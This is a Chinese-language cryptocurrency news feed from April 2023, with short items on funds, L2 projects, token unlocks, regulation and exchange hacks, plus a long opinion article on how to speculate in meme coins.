Scroll、Polybase 及 PolyHedra 等。 内容来源 西昻翔（链捕手）：增速最快的维度上，DWF Labs 是众所周知的行业黑马，近半年公开的投资次数至少为 21 次，此外，ABCDE Capital、Blockchange Ventures、Chapter One 等公开出手次数均增长一倍以上。在降幅最大的维度上，Mechanism Capital、Folius Ventures、Zee Prime Capital、Polygon Labs、Dapper Labs、Tiger Global、Republic Capital 等知名机构的跌幅均超 85%。从整体投资次数来看，近 6 个月排名前十的投资方分别是 Coinbase Ventures、Shima Capital、Big Brain Holdings、Polygon Ventures、DWF Labs、Polychain、Circle Ventures、HashKey Capital、Solana Ventures、a16z。 内容来源  ( 5 min )
    L2 叙事兴起，盘点被低估的 L2 项目：Mantle、Taiko、Metis
    Chainfeeds 导读： 以太坊升级完成后，L2 叙事兴起，加密 KOL Charles 盘点了三个他认为鲜为人知且被低估的 L2 项目。 文章来源： https://twitter.com/charles48011843/status/1647759561783394304 文章作者： Charles 观点： Charles：1）Mantle，具有模块化架构的以太坊 L2， 它将 rollup 技术与分散的数据可用性层相结合，以实现非常高的性能，目前 Mantle 测试网已经上线。2）Taiko，以完全去中心化为目标的以太坊等效 ZK-Rollup，旨以在实现完全的 EVM 兼容性并提供与以太坊 L1 相同的开发人员用户体验。几周前启动了 alpha-2 测试网，已经处理了超过 100 万笔交易。3）Metis，Metis Andromeda 主网于 2021 年启动，其 TVL 目前为 1.34 亿美元。其最近分享了 2023 年路线图，其中包括混合 rollup（Hybrid rollup）的开发。 混合 Rollup 提供 optimistic rollup 的可扩展性和 ZK rollup 的安全性。 内容来源  ( 2 min )
    加密数据平台 DefiLlama 宣布推出 NFT 仪表盘
    加密数据平台 DefiLlama 宣布推出 NFT 仪表盘 加密数据平台 DefiLlama 宣布推出 NFT 仪表盘，将提供所有 NFT 系列的详细统计数据，包括历史 NFT 交易量以及按照市场或聚合器区分的交易额等。DeFiLlama 表示其提供的数据信息均已经过滤掉洗售交易。 内容来源  ( 2 min )
    Octopus Network 推出 2.0 版本，计划实现 Restaking 和 NEAR IBC Port 功能
    Octopus Network 推出 2.0 版本，计划实现 Restaking 和 NEAR IBC Port 功能 Near 生态为 Web3 初创公司提供共享安全性、互操作性及社区的多链网络 Octopus Network 推出 2.0 版本，将继续利用与 Near 的共享安全性，构建自适应 IBC 桥以实现多链互操作性，并支持 Cosmos SDK。并计划在第二季度推出 NEAR IBC Port，实现与 Cosmos 链的连接，支持跨链资产转移。在第三季度上线 NEAR Restaking，为 Cosmos 链提供共享安全服务。 内容来源  ( 15 min )
    ETHGlobal 公布 11 名 ETHGlobal Tokyo 决赛入围者，包括 POMPoarding、Myna 等
    ETHGlobal 公布 11 名 ETHGlobal Tokyo 决赛入围者，包括 POMPoarding、Myna 等 ETHGlobal 官方推特宣布，共有 11 名 ETHGlobal 东京决赛入围者：POMPoarding、ZKVoiceKey、BAILOUT、AokiApp NFT、Octoplorer、Myna、Probablynothing.works、AbswapX、Tanuki、YORU、SuperPlay。 内容来源  ( 2 min )
    新一轮 Synthetix 委员会提名将于 4 月 17 日开始，投票时间为 4 月 21 日至 4 月 30 日
    新一轮 Synthetix 委员会提名将于 4 月 17 日开始，投票时间为 4 月 21 日至 4 月 30 日 合成资产协议 Synthetix 宣布新一轮 Synthetix 委员会提名将于 4 月 17 日开始，投票时间为 4 月 21 日至 4 月 30 日，该轮委员会将从 4 月 30 日起持续 4 个月。所有当选成员将能够从 Synthetix 财务部获得每月 2000 SNX 的津贴。此外，选举是在 Synthetix 治理模块上进行的。据悉，Synthetix 委员会包括财政委员会（4 名成员）、Spartan 委员会（8 名成员）、拨款委员会（5 名成员）、大使委员会（5 名成员）。 内容来源  ( 4 min )
    美众议院金融服务委员会发布稳定币法案草案
    美众议院金融服务委员会发布稳定币法案草案 美众议院金融服务委员会发布新的稳定币法案草案，内容包括美联储负责非银行稳定币的管理、为期两年关于没有法币支持的稳定币的禁令、银行监管机构和国家标准的技术研究所将有能力制定稳定币之间的互操作性及研究美联储发行的 CBDC 的潜在影响等。该草案可能不是最终版本。此外，众议院金融服务小组委员会将于下周三举行关于稳定币的听证会。 内容来源  ( 17 min )

  • Open

    金融时报：英国央行考虑改革存款担保计划
    PANews 4月17日消息，据英国金融时报援引知情人士的话称，英国央行正考虑对其存款担保计划进行重大改革，包括提高当前的企业存款担保额度（8.5万英镑），并要求银行向担保体系提前提供资金，以确保在银行倒闭时能更快地偿付。知情人士表示，上月硅谷银行及其英国子公司破产后，英国金融服务补偿计划（FSCS）正在接受紧急审查。汇丰银行最终以1英镑的价格收购了硅谷银行英国子公司。  ( 1 min )
    一周预告 | Sui将在多平台发售；韩国公链Klaytn将进行硬分叉升级并销毁近半数总供应量代币
    要闻预告： 更多一周预告请点击下载PANews APP，关注PANews推出的事件日历活动板块，在PANews随时随地阅读更多区块链即时快讯和深度好文。 项目动态： 韩国公链Klaytn将于4月17日进硬分叉升级，并销毁约半数总供应量代币 韩国公链项目Klaytn将在区块高度119,750,400（4月17日）处进行硬分叉升级，同时将销毁大约一半的总供应量代币，大约是52.8亿枚KLAY（价值13亿美元）。被销毁的代币来自Klaytn的国库（总计72.81亿），这些代币是在2019年主网启动期间铸造的。 NBA Top Shot推出2023季后赛专属数字藏品“Redemptions”，预计4月17日发布 NBA Top Shot宣布推出2023季后赛专属数字藏品“Redemptions”，用户将有机会持有、兑换球员在第一轮、半决赛、分区决赛和NBA总决赛中的Moment NFT，球队走得越远，持有的“Redemptions” NFT就越稀缺，该藏品系列预计将在美东时间4月17日发布。 Moonbirds：Mythic Eggs将于4月17日启动申领 NFT项目Moonbirds宣布Mythic Eggs将于4月17日启动申领。Mythic Eggs是Moonbirds即将推出的PFP系列Moonbirds Mythics的一部分，代表了Moonbirds生态系统的第一次官方扩展，分为三类：石蛋、符文蛋和传奇蛋。 Doodles启动5个社区委员会关键角色申请，4月17日截止 NFT项目Doodles在社交媒体宣布正式启动五个关键社区委员会角色的申请，分别是：社区主席、财务主管、活动委员、拨款委员和激励委员，申请截止时间为2023年4月17日，但只有Doodles NFT持有者有资格参与。 Solend已上线V2版本第1阶段，LTV和借款权重的新参数将于4月17日生效 Solana上借贷协议Solend已上线SolendV2的第1阶段，更新了三个新功能：借款权重、TWAP预言机和资金流出率限制，其中LTV和借款权重的新参数将于4月17日生效，用户需更新自己的未平仓头寸。 由昆仑万维和奇点智源合作研发的国产大语言模型“天工”3.5将于4月17日启动邀请测试 A股上市公司昆仑万维和奇点智源合作研发的国产大语言模型“天工”3.5 将于4月17日启动邀请测试。据称，“天工”大模型已经非常接近OpenAI ChatGPT的智能水平。 NBA球星拉梅洛·鲍尔入驻The Sandbox，并将于4月17日举行球迷活动 The Sandbox宣布与NBA夏洛特黄蜂队球员拉梅洛·鲍尔（LaMelo Ball）达成合作，拉梅洛·鲍尔将入驻The Sandbox元宇宙。The Sandbox将为拉梅洛·鲍尔创建一个元宇宙社交中心，并在4月17日至5月1日举行球迷活动，活动包括19个独特的任务，所有任务都与梅洛的爱好有关。 代币解锁： 15,601,326枚APE（ApeCoin）将于4月17日解锁，占项目总供应量的1.56%，价值超过7000万美元 3,914,250.02枚AXS（Axie Infinity）将于4月17日解锁，占项目总供应量的1.45%，价值超过3600万美元 政策监管： 美SEC主席将于4月18日向众议院数字资产小组委员会解释其加密监管方法 美国众议院金融服务委员会主席Patrick McHenry此前宣布，美国证券交易委员会（SEC）主席Gary Gensler将于4月18日出席众议院数字资产小组委员会会议。McHenry证实：“这将是我们对SEC的第一次监督听证会。”监督听证会将寻求明确Gensler的规则制定和数字资产的方法。 交易所： 加密交易所Bitrue热钱包遭受攻击，提款计划4月18日重新开放提款 加密交易所Bitrue热钱包遭受攻击，损失约2440万美元的代币。受影响的热钱包不到 Bitrue 总资金的 5%。被盗代币当前保存在以 0x181 开头的地址中。攻击者交换了8,858 个以太币，但保留了大部分被盗的 SHIB 和 HOT 代币。Bitrue 暂时停止所有提款，并计划在 4 月 18 日重新开放。 Binance.US将于4月18日下架Spell(SPELL)和TRON(TRX) Binance.US将于2023年4月18日下架Spell(SPELL)和TRON(TRX)。Binance.US上的SPELL和TRX存款将于PDT时间4月17日19:00（北京时间4月18日10:00）关闭。在此时间之后的SPELL或TRX存款将不会记入帐户。 SPELL和TRX的提款将保持开放。 项目动态： Moonbirds将于4月18日启动Diamond Nest“Choice Pass”空投 NFT项目Moonbirds在社交媒体宣布将于4月27日启动独家Diamond Exhibition NFT投放，届时将展示22位艺术家的1万件数字艺术品，包括Beeple、Greylesian、Dirty Robot等。此外，Moonbirds还宣布将在4月18日启动Diamond Nest“Choice Pass”空投，4月24-27日，Choice Pass持有者可以选择自己关注的艺术家，后续Choice Pass持有者的抽奖和空投将于4月27日进行。 Rocket Pool将于4月18日进行Atlas升级，包含新的8 ETH迷你矿池 以太坊流动性质押协议Rocket Pool将于4月18日进行Atlas升级。此次升级将推出新的8 ETH迷你矿池，即只需要8枚以太坊就可参与节点质押（满足Rocket Pool要求的情况下）。此次Atlas升级特点包括提高协议效率，为节点运营者分发更高的奖励，提升rETH容量，仍然完全无需许可。 去中心化无线网络Helium将于4月18日迁移至Solana 去中心化无线网络Helium将迁移至Solana网络的日期已从3月27日推迟至4月18日，这是其社区准备工作组投票决定的结果，旨在为社区准备、必要的治理投票、额外测试和运营改进提供更多时间。 政策监管： 美众议院小组委员会将在4月19日的听证会上讨论稳定币 美国众议院数字资产、金融技术、包容性和资本市场小组委员会已安排听证会讨论稳定币。该小组委员会是众议院金融服务委员会的一部分。听证会定于2023年4月19日星期三上午10点开始，会议的主题是：了解稳定币在支付中的作用和立法的必要性。 交易所： 币安：用户可于4月19日起提交ETH赎回申请，起初到账时间需15天 币安发布ETH 2.0质押提现的更新，用户可于4月19日16点起在币安的ETH 2.0质押页面，以1:1的比例将持有的BETH赎回成ETH。币安表示，用户提交ETH赎回申请后，该申请将无法取消；起初的赎回到账时间可能需15天至数周不等。 项目动态： DCG旗下矿企Foundry将在4月19日起连续4日停止提供免费服务 DCG旗下加密矿企Foundry USA将在4月19日至4月22日期间开始向会员收取矿池费用。而该矿企自2019年推出矿池以来一直免费提供服务。通知中写道：“随着Foundry USA矿池的不断扩大，我们正在实施分层收费，这将进一步使我们能够扩展我们的功能集，并继续在我们的FPPS(支付模式下运营。，每个季度的定价等级将基于上一季度的平均哈希率。” 有关BlockFi退款请求的听证会将于4月19日举行 美国加州金融保护与创新部（DFPI）发布声明称，已破产的加密借贷平台BlockFi计划向美国加州客户退还103471美元贷款还款，此前BlockFi未能及时通知借款人可以停止偿还贷款，因此BlockFi的加州借款人汇付了至少价值103471美元的贷款还款。 姜钟贤团伙涉嫌操纵Bithumb股价及贪污案将于4月19日上午进行二审 在3月22日的首次审判中，韩国检方表示，“姜钟贤以不正当方式收购姜智妍（姜钟贤的妹妹）、以及Vidente、Bucket Studio和INBIOGEN的股份来获得经营权，他担任这3家公司和Bithumb附属公司的董事长，并实际经营这些公司。在此过程中，尽管发生了多次股票变动，但他们与会计等人串通，违反信息披露义务，获取不正当利益。检方查明，姜某团伙贪污共计628亿韩元（约合4803万美元）。对其下次审判时间定于4月19日上午。 政策监管： 欧盟MiCA法规投票或将推迟一天至4月20日进行投票 据CoinDesk援引知情人士报道，欧盟加密资产市场（MiCA）法规投票可能会推迟一天，即在当地时间4月19日进行辩论，4月20日进行投票。周三发布的一份文件表明，在关键的最终投票之前，只有一项预期的修正案已提交给法律。此前消息，欧洲加密法案MiCA将于4月18日提交至议会进行讨论。 治理投票： ApeCoin社区发起为以太坊社区提供100万美元捐赠的提案，其投票将于4月20日结束 为响应Vitalik 2022年曾呼吁Ape资助公共商品的号召，ApeCoin社区发起AIP-230提案，拟为以太坊社区提供100万美元捐赠。包括向ETHGlobal捐赠30万美元，向11场ApeCoin黑客松和至少5项公益活动赞助70万美元。 该提案投票将于4月20日上午9点结束。 隐私网络Iron Fish将于4月20日发布主网 隐私网络Iron Fish宣布主网发布推迟到4月20日，因为测试期间发现一个需要修复的错误，拟在修复后才启动主网。 ApeCoin发起成立多语言信息中心的提案，投票将于4月20日结束 ApeCoin发起新提案AIP-232，拟创建多语言信息中心Apeverse。旨在满足快速发展的Ape生态系统聚合信息传播和社区参与。Apeverse将作为Ape社区联系和协作的平台。该网站将通过允许成员提交相关进展和事件来鼓励成员之间的合作。Apeverse还会跟踪Ape NFTs和Apecoin的动态变化，并提供直观的分析，从数据层面展示生态的进展。该提案投票窗口将于4月20日结束。 代币解锁： 192,307.69枚GAL(Galxe)将于4月20日解锁，占项目总供应量的0.096%，价值超过39万美元 政策监管： 日本财务省拟于4月21日召开专家会议讨论数字日元发展方向 在日本央行本月启动一项测试数字日元使用的试点计划后，日本财务省计划在4月21日召开一次专家会议，讨论未来的发展方向。日本央行和金融厅将作为观察员出席小组会议。据悉，包括学者、经济学家、律师和消费者团体代表在内的九位专家将定期会面，并在今年年底前编写一份报告。 交易所： 币安澳大利亚分部衍生品金融服务许可证已被吊销，4月21日将关闭所有剩余的未平仓头寸 澳大利亚证券投资委员会（ASIC）吊销了币安澳大利亚分部衍生品金融服务许可证。取消后，自4月14日起，客户将无法在币安增加衍生品头寸或开立新头寸；币安将要求客户在4月21日之前关闭现有的所有衍生品头寸；4月21日，币安将关闭所有剩余的未平仓头寸。 项目动态： Rebase将于4月21日上线Arbitrum主网 NFT铸造平台Rebase将于4月21日上线以太坊Layer 2扩展解决方案Arbitrum主网。Rebase旨在通过地理定位技术以弥合现实世界和虚拟世界之间的差距，使用户可以与NFT以及所处的物理环境进行交互。其推出的一体化应用程序reBASE APP，可用于查找和收集NFT，并通过集成交易市场为用户提供交易NFT的服务。此外，在虚拟和现实世界中的社交互动也是reBASE APP的重要部分。 隐私网络Iron Fish将于4月21日发放空投 Iron Fish计划共向测试网参与者发放94万枚主网代币空投，空投日期为4月21日。 Tornado Cash开发者Alexey Pertsev将被拘留至4月21日举行的听证会 加密货币混合服务Tornado Cash的开发者Alexey Pertsev将继续被拘留，直至定于4月21日举行的下一次听证会。这也是Pertsev第三次上诉被驳回。此外，处理此案的East Brabant法院表示，审前复核将于5月24日进行。去年8月，在美国政府制裁Tornado Cash两天后，荷兰当局逮捕了Pertsev，罪名为涉嫌通过Tornado Cash“隐瞒犯罪资金流动和协助洗钱”。 项目动态： 韩国歌手权志龙将于4月22日在OpenSea第二次发售“Archive of PEACEMINUSONE” 韩国流行乐歌手权志龙将在OpenSea平台第二次发售其基于BNB Chain的NFT系列“Archive of PEACEMINUSONE”。该NFT系列是权志龙的原画的拼图，代表了PEACEMINUSONE (PMO, 权志龙创建的品牌)的身份，并融合了权志龙生活和个人发展的私密细节。 代币解锁： 18,075,990.62枚IMX(ImmutableX)将于4月22解锁，占项目总供应量的0.904%，价值超过2100万美元 交易所： OKX、Bybit、Kucoin等交易所宣布将上线Sui Token，OKX将于4月23日开启SUI新币销售 OKX、Bybit、Kucoin 等交易所宣布将上线Sui Token ，相关交易所均有推出Sui Token的WL白名单的认购机制。暂时未有Binance上线Sui Token的消息。据此前消息，Sui开发团队Mysten Labs创始人Evan Cheng与Adeniyi Abiodun在TwitterSpace中表示，会有一个十万人白名单的社区访问计划。Adeniyi Abiodun在推特回应了用户关于SUI空投的问题，明确表示未来不会有SUI空投计划。 项目动态： 新加坡法院批准Zipmex的重组计划，其债权人保护期限延长至4月23日 泰国加密货币交易所Zipmex的重组计划已获得新加坡高等法院的批准，为客户取回存款铺平了道路。根据 Zipmex 网站周四的更新，法院批准为钱包资产不超过 5,000 美元的债权人设立“行政便利级别” 。Zipmex 将债权人保护期限延长三周至 4 月 23 日的请求也获得批准。  ( 4 min )
    Avalanche和Conflux等协议加入香港Web3Hub生态基金
    PANews 4月16日消息，据Martech Series报道，香港Web3Hub生态基金已汇聚了区块链、云服务、媒体等Web3行业主要参与者加入该基金项目，区块链行业合作伙伴包括Avalanche、Conflux、Cronos、EOS Network、Fantom、Horizen、IRIS Hub（IRISnet）、Kava、MultiversX、WEMIX3.0，云服务合作伙伴为腾讯云和亚马逊AWS。 此前消息，香港Web3Hub生态基金正式启动，规模为1000万美元  ( 1 min )
    蔡钟辉：香港证监会明白Web3带来的机遇，但会警惕潜在风险
    PANews 4月16日消息，据东网报道，香港证监会中介机构部临时主管蔡钟辉在出席活动时表示，证监会明白Web3带来的机遇，并完全支持使用新技术在香港提供金融服务和产品，但同时会警惕潜在风险，且坚定不移地保护投资者和市场诚信，以将香港建立成Web3和虚拟资产的首要枢纽。  ( 1 min )
    数据：CMS Holdings最近两日将约60.7万枚DYDX转至币安
    PANews 4月16日消息，据推特用户余烬监测，CMS Holdings最近两日内将607,748枚DYDX（约176万美元）转入Binance。 CMS本次转入Binance的DYDX源于3月3日-4月10日期间从Binance提出，成本可能在2.49美元。若是出售，CMS这次DYDX的投资应该会实现23万美元的收益，收益率为16%。  ( 1 min )
    Lido：以太坊上所有验证者都能使用0x01取款凭证
    PANews 4月16日消息，Lido发推表示，在4月5日成功完成取款凭证更换消息签名仪式后，所有消息现已由网络处理完成更换，目前以太坊上所有Lido验证者都能使用0x01取款凭证。  ( 1 min )
    想玩转meme币？这些底层逻辑及投资方法论你必须了解
    原文作者：西米Sammi meme 自 2021 年被 shib，doge 带火之后，便在加密行业拥有举足轻重的地位，成为加密投资版图中重要的组成部分之一。shib 的 50 万倍，doge 的 400 倍，为币圈创造不少造富神话和新增流量。 根据 CoinGecko 数据，截至 2023 年 4 月 14 日，当前全球加密货币总市值约 1.34 万亿，meme 板块总市值约为 208 亿，占比约为 15%。经历一轮熊市后，像 Shib 和 Doge 这样的 memecoins 不仅幸存下来，稳坐市值前 20，而且表现得甚至比一些所谓的价值投资项目更好。 区块链领域充满了令新人难以理解的密集术语和技术发展，meme 币为那些对加密货币不甚了解的人提供了进入加密行业的过渡，因此，meme 是加密文化的基石。 二．从历史规律总结 meme 成功的关键要素 meme 如同病毒一样传播，它们在加密世界内部和社群极速散播，投机性强，短时间内发生暴涨暴跌。在《疯传：让你的产品、思想、行为像病毒一样入侵》这本书中，作者将病毒营销的 6 大特点整合为一个 STEPPS 模型： 社交货币（Social Currency） 诱因（Triggers） 情绪（Emotions） 公开性（Pubilicity） 实用价值（Practical Value） 故事（Story） 假设我们用 STEPPS 模型对 meme 项目的成功进行复盘，可以得出以下几点： 好的叙事天生就有内在吸引力。打破常规，提出有悖于人们的思维定式的信息，能够增加 MEME 的内在吸引力。除了打破常规，充满神秘，充满争议也能够增加内在影响力。比如 5 天涨百倍的 Cult Dao，核心叙事是做去中心化 VC，颠覆传统投资机构，打造投资 dao 新范式；比如 people，众筹在苏富比公开拍卖会上购买最后一份公开拍卖的美国宪法副本，对于一个宣传去中心化自治的加密群体，可以「共同拥有」一份代表人权的，至高无上的美国宪法，还有比这更象征「去中心化」精神的行为吗？这也是 people 能成为 DAO 龙头的内核。 人们参与 meme 的火热程度折射出对传统叙事的反抗心理。meme 结构如果颠覆了某种权威，就会受到人们的追捧，成为自己的思想代言人和传播者。 博弈论中有一个概念，叫谢林点（Schelling point）。它是人们在没有沟通的情况下的选择倾向，是大众理性前提下的共识，即「我预判你预判了我的预判」。在二级市场投资中，时常会出现由谢林点产生的财富密码。比如 2022 年春晚，沈腾在小品《还不还》中把自己比作元宇宙里的「Dog king（狗王）」，之后同名项目 dogeking 两天暴涨 2000 倍，再比如 2016 年川普当选总统，中国有一只股票叫川大制胜，也因为谐音梗一度涨停。 这些消息虽然看似荒谬，但背后却暗藏人性的博弈。由于用户资本是稀缺的（用户的时间、金钱、注意力等要素稀缺），加密行业总共有一万多个数字货币，无数用户每天绞尽脑汁思考哪个币会涨，这很难预判。但如果大家因为某个事件聚集起来达成共识，不约而同的去买同一个币，价格自然会上涨。 不论是投资者对项目的估值预判，还是创业者对市场需求痛点的思考，亦或是想要抓住百倍千倍的 meme 币，跳出对自我判断的盲目自信，提前判断大众共识谢林点的信号，思考摸索谢林点在哪里。是一个非常重要的步骤。 所以诱因这一条准则提醒我们，要把产品和内容与大家关注的事情做关联，谁能够成为被热点联想的对象，谁就会成为受资金追捧的宠儿。 情绪是第一生产力，比如不转不是中国人，标题党都是网上一道稳定的靓丽的风景线，为什么标题党更容易传播呢，因为他容易调动人们的情绪，情绪一上头，传播不用愁。 而什么样的情绪利于人们传播呢？我们需要引入另一个标准，叫「唤醒度」，一件事发生时，周围的人没有什么感觉（低唤醒情绪），基本就不会和别人分享；如果一件事让人感到生气或快乐的时候（高唤醒情绪），他希望和别人产生情感上的共鸣，就会分享给别人。 如果 meme 币制造的情绪合理，其思想就更容易激发用户的情感共鸣，口碑传播的效果就会越好。 比如今年元旦爆火的 sol 链 meme 币 bonk，打着重振 sol 的旗号，嘲讽 Alameda 经济学，社区甚至还制作了一个 bonk meme 游戏，一只柴犬拿着棒球棒敲 SBF 的头，花费 BONK 代币即可开始游戏，并配文「Felt angry, bonked Sam again, felt great.」。这种宣泄情绪就在一定程度上引起了社区共鸣， meme 是一种思想病毒，它的传染机制与病毒传染的路径相似，它被包覆在层层的故事与情感元素中，简单来讲就是我们常说的情感共鸣。 名人效应——公共性 名人效应对于 MEME 的发展至关重要，甚至可以是项目能否成功启动的关键。对于 meme 币。nft 这类缺乏合理有效的估价机制，却充斥着造富神话的投资标的，人们的内心是渴望受到确定性指引的。在大众眼中，名人代表了智慧、信息、与财富，因此名人参与或者背书的项目会更具吸引力。 BAYC 在刚发售时也曾无人问津，四处在 KOL 推特留言推销，为 KOL 做定制的荣誉头像。在没 KOL 带货的情况下，BAYC 一个星期都没 Mint 完，直到 NFT 大 V @j1mmyeth，@Pranksy 喊单，批量购入 BAYC 后这种局面才发生改变。 2021 年的 meme 热潮中，Elon Musk 可谓头号功臣，他曾在推特喊单带飞 DOGE，SHIB，FLOKI 等一众 MEME 币，每次提及便引发币价不同程度上涨，创造了 DOGE 400 倍，SHIB 10 万倍，Floki 几万倍的造富神话。 图片来源：@crypto_TomTom 2022 年 3 月小牛行情。几天暴涨 300 多倍的去中心化 VC 项目 Cult DAO，同样是通过创始团队主动邮件联系推特上的 kol 们作为 CULT 守护者完成项目冷启动。 效用 Utility——实用价值 meme 早期利用文化叙事及投机引爆市场，凝聚共识。当 meme 叙事的共识性需求达到饱和，便需要追求实质性的功能探索以扩张用户和支撑市值，，第一阶段先跑金融（旁氏）飞轮，第二阶段是叙事落地，开展第二增长曲线。 比如 doge 在获得巨大成功后，开始作为支付打赏进入流通，实现功能性价值；shib 在市值达到 1 亿美金后宣布推出生态系统，如 shibaswap、nft。 往往故事才是人们获得信任，引起群体共鸣的大门。相较于广告，人们很少排斥故事，故事不仅让人愿意听，而且还喜欢转速给别人听，在互联网上，故事更是另所有事物快速传播的一大法宝。没有故事，就没有温度。故事是集大成者，故事要把前面的东西都用上，然后编成一个有效的故事，这就是整个营销的基本节奏。 比特币有一个人尽皆知的故事就是「用 10000 枚比特币换 2 张披萨」的传奇交易事件。在当时，10000 枚比特币仅值不到 40 美元，如今价值 3 亿美元。 meme 币同样流行一个反复出现的故事，关于人们由于他们的 HODL'ing，价格升值而将价值数千美元的加密货币变成了数百万或数十亿美元的故事。 不必通过辛苦劳动就一夜暴富是所有癫狂事件共有的人性根基，也是项目快速传播的最佳广告。 在格雷厄姆及巴菲特等人的影响下，人们把「价值投资」奉为圭臬，热衷于通过现金流折现的估值方法，寻找拥有安全边际的、价值被低估的资产，这套方法论在加密领域显然不太适用。对市场，对需求，对价值的哲学思考，并非只把价值定义在「现金收入」中。对于迷因，只有把叙事和数字结合起来，才能成为一个完整的估值结构： 对于 meme 而言，叙事即产品，文化即产品，社区即产品。公式中的叙事便是 meme 产品本身，而数字则是一个难以准确计算的包含多重因素的偏离因子，如果延展开来，则估值=叙事大小（影响市场的范围大小）+情绪的唤醒度频率+名人效应 ( KOL 认可度及带货能力）+SOV（Share of Voice：媒体比重占有率) 等多重因素的结合。 对于这些偏离因子，我们暂时只能追求模糊的准确，很难用数学模型的方式去精确计算其化学反应，但当我们无法测量任何数据时，想象空间也就打开了。 meme 依靠共识积累价值，因此信息传递的速度和广度自然成为关键因素。 meme 币的市值通常有几个阶段：100 万美金，500 万美金，1000 万美金，1 亿美金，3 亿美金，10 亿美金以上。 100 万美金：推特上只有少数几条除了项目方以外的推特讨论，开始有人关注 500 万美金：个别 Alpha 社区讨论，两三个有粉丝的玩家大 V 在推特喊单 1000 万美金：项目已上涨几倍甚至数十倍，早期玩家发表获利的言论，网上开始出现项目的文章（thread）及 YouTube 视频讲解，部分活跃社群了解并讨论项目. 一些自带暴利经济模型和高滑点的项目，通常在此阶段到达顶峰。 1 亿美金：中文圈推特，尤其是微博，出现至少五个 KOL 提及项目，基本在币圈的活跃玩家均知晓项目，开始上线抹茶，芝麻开门，bitget 等二线交易所。大部分项目在此阶段到顶（比如 Cult）。 3 亿美金：OKX，火必等交易所宣布上线，一般较大的 meme 项目基本在交易所上线后几天内市值到达最高峰（比如 bonk） 10 亿美金以上：币安宣布上线（比如 people）或者非币圈原生玩家带来行业的正外部性，比如 Robinhood 上线 shib，Elon Musk 发推文带动 Floki 注：兵无常势，水无常形。meme 项目的估值通常随加密货币总体市值的变化而调整。故此估值路径仅根据过往几年成功 meme 币的历史市值走势做简单总结，每轮牛市的资金体量不同，不可完全照搬用于下轮牛市。 meme 有自己独特的生命周期，一般都是来的快去的也快，病毒式营销的传播过程通常是呈 S 形曲线的，即在开始时很慢，当其扩大至受众的一半时速度加快，而接近市场最大饱和点时又极速慢下来。 1.Cult DAO 在上线沉寂两个月后，由于比特币小牛启动，加上几个推特 kol 喊单, 开始出现极速上涨，8 天暴涨 380 倍。 2.bonk 在去年圣诞节上线并空投给 SO 链上深度活跃用户后，在今年 1 月随着 btc 上涨，且一众 SOL 生态项目的推波助澜下，3 天上涨 60 倍。 一个好的 meme 币，从开始启动到真正爆发，短则两三天，长则一两周便会走完第一轮生命周期。由于短期涨幅过大以及缺乏持续的奖励机制，无法令更多的人投入更多的时间与资本，所以陨落也极快。 meme 币容易受到外界的影响，我们投资 meme 币时，便需要持续追踪社群讨论度和媒体话题度，来衡量市场情绪并推测价格走势和生命周期。 四．meme 的投资思路meme 的择时 一轮完整的牛市，资金在板块轮动的规律通常是 BTC——ETH 及公链/L2——时下热门板块——Web 3 基础设施——GameFi/元宇宙——NFT——MEME 币/动物币——牛市结束。 Meme 的狂热往往出现在牛市中后期，牛市大部分人赚钱，市场情绪容易 fomo，也会带来很多新人玩家和新资金进场。因此，如果要布局超额回报的 meme 项目，可以在牛市启动前期，BTC 独立上涨行情起步时，寻找 Alpha。 寻找低市值，单价低的项目 牛市中后期，所有主流币暴涨，BTC/ETH 等单价过高，让圈外投资者望而却步，而 meme 币单价便宜、有趣好玩、易于传播理解的特点也备受新人玩家青睐。 1 美元就可以买到几百万甚至几亿枚 meme 代币的数量，投资成本较低，会让新用户更有成就感。因此成功的 meme 币大多价格极低，通常不足$1，且总量巨大。 玩 meme 必备工具网站 合约是否开源：http://tokensniffer.com 是否是貔貅：http://honeypot.is K 线行情观察：http://dexscreener.com http://avedex.cc 项目预售：http://uncx.network（babydoge,cult 的诞生地） 当推特上仅两三个 kol 谈论项目，处于早期阶段，可以观察并考虑买入，此时风险高，回报高，但同时项目做不起来的可能性也较大； 当推特上至少 5 个 kol 谈论项目，一两个 Alpha 社群开始讨论，说明项目开始处于上升期，耐心持有； 当出现媒体报道，thread 文章，二线交易所发公告 list，考虑卖出部分； 当项目在至少四五个社群扩散，同时不低于 10 个 kol 讨论项目，二线交易所已上线项目，可以考虑出售全部代币。 拥抱并警惕泡沫，泡沫是点燃市场的火花，在泡沫中可以获取收益，但也要对泡沫保持质疑。  ( 5 min )
    安全公司CertiK：Swapos V2合约疑遭攻击，约46.8万美元的资产被盗
    PANews 4月16日消息，据安全公司CertiK监测，Swapos V2合约疑似遭黑客利用，约46.8万美元的资产被盗，目前被盗资金已在攻击者地址。  ( 1 min )
    Lido DAO发起接收ARB空投代币的提案
    PANews 4月16日消息，因此前Arbitrum基金会宣布Lido协议有资格申领772,621枚ARB代币，所以针对此次空投，Lido DAO reWARDS委员会发起提案。涵盖与申领和有效使用潜在ARB代币相关的运营和战略主题，提案包括： 1.确认Arbitrum基金会空投772,621枚ARB。 2.为Lido DAO指定一名或一组代表，联系Arbitrum 基金会，告知Lido DAO将接受空投并开始认领程序。 3.任命Lido DAO reWARDS委员会作为DAO的指定代表，负责与Arbitrum基金会的沟通和处理空投的申领。 4 确认reWARDS委员会有权使用申领ARB代币。 5. reWARDS委员会将在Arbitrum One网络上创建一个新的多重签名钱包，用于接收ARB代币。 6. 将在未来4-6个月内通过激励，增加在Arbitrum生态系统中采用wstETH来质押。 7. 提议使用月度报告，以确保Lido DAO社区了解该计划的进展情况。  ( 1 min )
    数字资产投资公司BlockTower宣布关闭旗下一只加密基金，资金将返还给投资者
    PANews 4月16日消息，据彭博社报道， 总部位于迈阿密的数字资产投资公司BlockTower Capital宣布将关闭旗下一支“市场中性（market-neutral）”的加密货币基金，资金会返还给相关投资者。据悉，该基金一度管理着超过1亿美元的资金。BlockTower Capital首席执行官Matthew Goetz表示，该风投公司其实在2023年初就已经做出关闭该基金的决定，未来将寻求“真实世界资产（RWA）”等其他投资策略。  ( 1 min )
    新加坡高等法院不承认加密货币为货币，驳回了Algorand基金会清算三箭资本的申请
    PANews 4月16日消息，据Businesstimes报道，在Algorand基金会起诉三箭资本的案件中，新加坡高等法院裁定不承认加密货币为货币，因此驳回了清算申请。法官在裁决书中表示：加密货币是否属于货币范畴，需要进行详细的证据审查，但在破产清算的背景下并不适用。据悉，Algorand基金会向三箭资本索赔5350万USDC。  ( 1 min )
    后上海升级时代，Lido是否继续称霸以太坊质押赛道？
